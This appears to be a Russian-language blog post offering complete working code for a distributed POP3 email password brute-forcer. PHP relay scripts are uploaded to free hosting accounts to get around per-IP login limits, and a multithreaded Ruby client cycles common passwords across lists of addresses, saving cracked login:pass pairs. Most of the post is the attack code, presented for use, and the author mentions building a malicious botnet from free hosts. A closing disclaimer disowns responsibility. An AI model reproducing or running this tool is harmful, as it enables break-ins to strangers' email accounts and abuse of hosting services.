распределенный POP3-брутфорс или брут мыл через фрихосты

Современные почтовые сервера поголовно ограничивают попытки авторизации с одного IP, однако если этот IP принадлежит какой-нибудь хостинговой конторе, то обычно для нее делаются небольшие исключения и количество попыток увеличиваются. На этом я хочу сыграть.

Ниже я покажу как можно бесплатно (обычные брутфорсы обычно работают через прокси/соксы, которые либо бесплатные и очень долгие, либо платные) и главное быстро перебирать пароли к ящикам.
Моя первоначальная идея состояла в организации злой бот-сети из фрихостов, но об этом я расскажу в другой статье, пока лишь ограничимся одной функцией бота – попытка авторизации на POP3-сервере.

Итак, для начала нам нужен какой-нибудь бесплатный хостинг с поддержкой PHP5, версия должна быть именно пятая, в противном случае придется немного переписать серверные скрипты.
Допустим вы нашли фрихостинг, коих сейчас немерянно, и можно приступать к самому приложению, которое будет представляеть из себя многопоточный брутфорс списка мыл на популярные пароли. Если кому-то нужно иначе, клиентскую часть легко переписать на свой лад.

Брутфорс будет состоять из 2-х частей:

  1. серверная – PHP-скрипты, которые будут по запросу клиента пытатся авторизоватся с заданным логином и паролем
  2. клиентская – Ruby-скрипты, которые будут давать запрос, с указанием логина и пароля, по которым необходимо авторизоватся

Сервер (PHP-скрипты).

Сервер будет состоять из 3-х файлов:

  1. библиотека – lib.php
  2. конфигурация – config.php
  3. сам скрипт авторизации – brut.php

В библиотеки lib.php содержится класс Email, который через функцию fsockopen() будет общатся с POP3-сервером. Взят именно такой принцип, а не скажем уже готовая mail() т.к. на более-менее нормальных хостингах подобные штуки отключены, запрещены и являются признаком преступления против человечества.

Итак, сам lib.php:

<?php
class Email {
var $server;
var $full_addr;
var $login;
const SOCK_ERR=-3;
const FST_GET_ERR=-2;
const LOGIN_ERR=-1;
const INCCORECT_PASS=0;
const SUCC=1;

function __construct($addr)
{$this->full_addr=$addr;
$this->set_serv();
$this->set_login(); }

private function set_serv ()
{$strpos=strpos($this->full_addr,’@');
$this->server=”pop.” . substr($this->full_addr,$strpos+1,strlen($this->full_addr)-$strpos); }

private function set_login ()
{$this->login=substr($this->full_addr,0,strpos($this->full_addr,’@')); }

public function try_auth ($pass)
{ $pop_conn = fsockopen($this->server, 110,$errno, $errstr, 10);
if (!(is_resource($pop_conn))) return -3;

$ans=fgets($pop_conn,1024);
if (!(substr_count($ans,”OK”)))    return -2;

fputs($pop_conn,”USER $this->login\r\n”);
$ans=fgets($pop_conn,1024);
if (!(substr_count($ans,”OK”)))    return -1;

fputs($pop_conn,”PASS $pass\r\n”);
$ans=fgets($pop_conn,1024);
if (!(substr_count($ans,”OK”)))return 0;

fclose($pop_conn);
return 1;
}
}
?>

Далее файл config.php, он не отличается сложностью и представляет из себя 2 переменные хранящие логин и пароль админа брутфорса, мы же хотим единолично пользоватся нашим брутом.

<?php
$login=”root”;
$pass=”jvgfdhg6hj”;
?>

Теперь перейдем к brut.php, который и будет промежуточным звеном между нашей клиентской частью и POP3-сервером.

<?php
include ‘lib.php’;
include ‘config.php’;

if (!isset($_POST['login']) || $_POST['login']!=$login) die();
if (!isset($_POST['pass']) || $_POST['pass']!=$pass) die();
if (!(isset($_POST['op_addr'])) || !(isset($_POST['op_pass']))) die();

$email= new Email($_POST['op_addr']);
echo ‘<ans>’.$email->try_auth($_POST['op_pass']).’</ans>’;
?>

brut.php тоже не является верхом сложности программирования на PHP: сначала мы проверяем логин и пароль админа, затем смотрим присутствуют ли адрес почты и предполагаемый пароль к ней, и в случае если все ништяк пробуем авторизоватся, посредством заранее написанного класса. В конце мы выводим числовой ответ. Тот кому нужны точные ответы  посмотрит lib.php, а я же скажу что 0 – пароль не подошел, 1 – пароль подошел.

На этом с серверной частью закончили, теперь берем эти 3 файла и заливаем на все фрихосты, где удалось зарегать.

Клиент (Ruby-скрипты).

Клиентская часть состоит из 2-х скриптов:

  1. config.rb – файл конфигурации
  2. main.rb – собственно сам клиент

Сначала рассмотрим кофиг. Представляет он из себя следующее:

#!/usr/bin/ruby

$servers=['lukmus.ru','second.server.ru','third.server.ru','etc.freehost.com']
$path=’/mailbrut/brut.php’

$login=”root”
$pass=”jvgfdhg6hj”

$th_count=3

$fl_addrs=”mail_list”
$fl_log=”mailbrut.log”
$fl_good=”good_accs”

$passes=['pass','qwerty','123456','12345','etc...']

Теперь разберемся в нем:

  • $servers – здесь пишем наши фризосты
  • $path – путь на фрихостинге до нашей серверной части, на всех сайтах должен быть один и тот же
  • $login и $pass – пароль админа брута, должен совпадать с указанными в config.php в серверной части
  • $th_count – количество потоков брутфорса, он же у нас многопоточный
  • $fl_addrs – файл, записаны почтовые адреса которые мы брутим. Каждая запись должна начинатся с новой строки.
  • $fl_log – лог, сюда пишутся все ошибки
  • $fl_good – здесь будут сохранятся удачно сбрученные почтовые акки в виде login:pass
  • $passes – записываем пароли, на которые брутим

А теперь рассмотрим сам скрипт, который будет выдавать запросы нашим хостингам.

main.rb:

#!/usr/bin/ruby
require ‘net/http’
require ‘config.rb’

class WEB_Server
def initialize (servers)
@servers=servers
@i=0
end#def
def next_s
server=@servers[@i]
@i+=1
if @i>=@servers.size then @i=0 end
return server
end#def
end#class

def log(logfl,msg)
mess=”#{Time.now} <-> #{msg}”
logf=File.new(logfl,’a')
logf.puts mess
logf.close
puts mess
end#def

puts “Lukmus PHP-Ruby WebMailBrut starting…”

servers=WEB_Server.new($servers)
accs=File.new($fl_addrs,’r')
while !accs.eof do
op_addr=accs.gets.chop
while Thread.list.size>$th_count do sleep(1) end
th=Thread.new(op_addr) do |p_addr|
$passes.each do |p_pass|
serv=servers.next_s
http = Net::HTTP.new(serv, 80)
data = “login=#{$login}&pass=#{$pass}&op_addr=#{p_addr}&op_pass=#{p_pass}”
headers = { ‘Content-Type’ => ‘application/x-www-form-urlencoded’}
resp, data = http.post($path, data, headers)
ans=data.split(‘<ans>’)[1].split(‘</ans>’)[0]
case ans
when ‘-3′
log($fl_log,”ERR #3 Can’t open socket <-> #{p_addr}:#{p_pass}”)
when ‘-2′
log($fl_log,”ERR #2 Can’t connect to server <-> #{p_addr}:#{p_pass}”)
when ‘-1′
log($fl_log,”ERR #1 Can’t input login <-> #{p_addr}:#{p_pass}”)
when ’0′
puts “#{serv} <-> #{p_addr}:#{p_pass} <-> invalid pass”
when ’1′
log($fl_good,”#{serv} <-> #{p_addr}:#{p_pass} <-> SUCCESS”)
break

end#case
#http.close
end#each
end#thread
end#while
th.join

Он работает по следующему принципу:

  • ОСНОВНОЙ ПОТОК: открывает файл со списком адресов и берет первый
  • ОСНОВНОЙ ПОТОК: создает поток, который будет работать с этим адресом
  • ПОТОК: берет первый пароль из нашего списка
  • ПОТОК: берет первый хостинг и посылает запрос серверу на попытку авторизации
  • ПОТОК: далее берет следующий хостинг и следующий пароль и так далее
  • ОСНОВНОЙ ПОТОК: берет следующее мыло из списка и создает новый поток под него и так далее.

В случае если поток находит правильный пароль, то поток самоуничтожается, тем самым пресекая бессмысленные попытки авторизации с оставшимися, заведомо ложными паролями.

Ну вот и все, как запустить скрипт Ruby можно прочитать здесь, а скачвть все это дело одним архивом можно здесь

Статья является плодом бурной фантазии автора и не призывает ни к каким действиям,
противоречащим законодательству. Ответственность за использование материала ложиться только на вас!
Любые совпадения с реальными людьми считаются случайными.

One Comments to “распределенный POP3-брутфорс или брут мыл через фрихосты”

  1. Василий пишет:

    Ништяк

Leave a Reply to Василий

(обязательно)

(обязательно)